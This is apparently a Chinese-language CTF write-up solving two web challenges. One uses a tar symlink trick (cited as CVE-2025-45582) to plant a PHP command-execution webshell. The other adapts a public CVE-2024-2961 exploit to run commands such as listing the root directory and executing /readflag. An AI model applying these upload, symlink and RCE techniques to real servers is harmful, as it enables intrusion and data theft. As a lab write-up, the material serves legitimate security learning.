# EZ_upload

一个比较新的历史漏洞:

CVE-2025-45582

这个漏洞源于 tar 命令虽然会过滤掉压缩文件中的 ../ 但是可以使用已有的软连接,并且而解压时 tar 也不会过滤软链接这个东西,两者结合起来就可以实现任意文件写入

先上传第一个 tar 包,里面是软链接,注意 windows 下要使用 wsl,否则会报错:

ln -s ../../../../../var/www/html x
#创建软连接,指向 web 目录,命名为 x
tar -cf tar1.tar x
#压缩后上传,此时 x 就在 web 目录下
tar -cf tar2.tar x/ma.php
#使用软链接指向要使用的 payload,并上传,此时网页端访问这个 php 文件就可以得到输出,可以直接写 & lt;?php @system ('cat /flag');?>

# SeRCE

一个稍微旧一点的历史漏洞

CVE-2024-2961

原理那是 pwn✌的事情,我就不看了,大概是个缓冲区溢出漏洞

网上有现成的 exp(windows 下要用 wsl),remote 类里:

1758033110402

本来的键名是 file,这里改成 filetoread , 以及:

1758033171347

原来的 contents 都是小写,这里首字母改成大写

这道题本身是个 file_get_contents 的任意文件读,实际测试后能发现这个程序运行的用户权限相当的低,对很多文件都是不可读不可写,部分只读(比如 /etc/passwd )。不过我们依然可以尝试写入 /tmp 文件夹,这个文件夹默认所有用户都可以读写

payload,使用现成的 exp 一把梭:

ls -all ../../../../ > /tmp/1.txt
#先看下根目录有什么,权限如何,用任意文件读读这个 txt
#可以发现根目录有个 readflag 的可执行文件,并且具有执行权限
/readflag > /tmp/1.txt
#再次任意文件读可得 flag

PS:这道题有个序列化和反序列化的问题,正常是要构造一个不完整的类,使其不相等。但是实测随便乱传点什么都行,没啥意义的操作。